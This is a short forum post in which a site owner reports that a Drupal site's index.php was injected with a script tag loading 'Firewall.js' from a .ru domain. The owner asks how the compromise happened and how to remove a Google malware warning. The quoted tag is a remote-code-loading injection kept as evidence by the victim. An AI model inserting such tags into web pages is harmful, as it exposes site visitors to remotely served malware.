Site Hacked

Hey Guys/Gals,

First i'm sorry, I dont know where this topic would go...

I had a site hacked or a script was injected into the index.php...this is the script...

<script type="text/javascript" src="http://addonrock.ru/Firewall.js"></script>
<!--707c1499293913283b21ca5ff998f24b-->

Which gave this error when the site was accessed...

Parse error: syntax error, unexpected '<' in /home/adamospi/public_html/index.php on line 41

I edited the index.php which fixed the site...a few hours later it came back up. I checked if I needed updates and it did, I updated Drupal and it fixed it permanently.

My questions are...

How did this happen was it because Drupal was not updated, stolen password, etc...?

Now when searching for this site on google.com it comes up as "this site may harm your computer" how do I fix this?

Can it be fixed without paying my hosting company?

I greatly appreciate your help, advice, counsel...

Thanks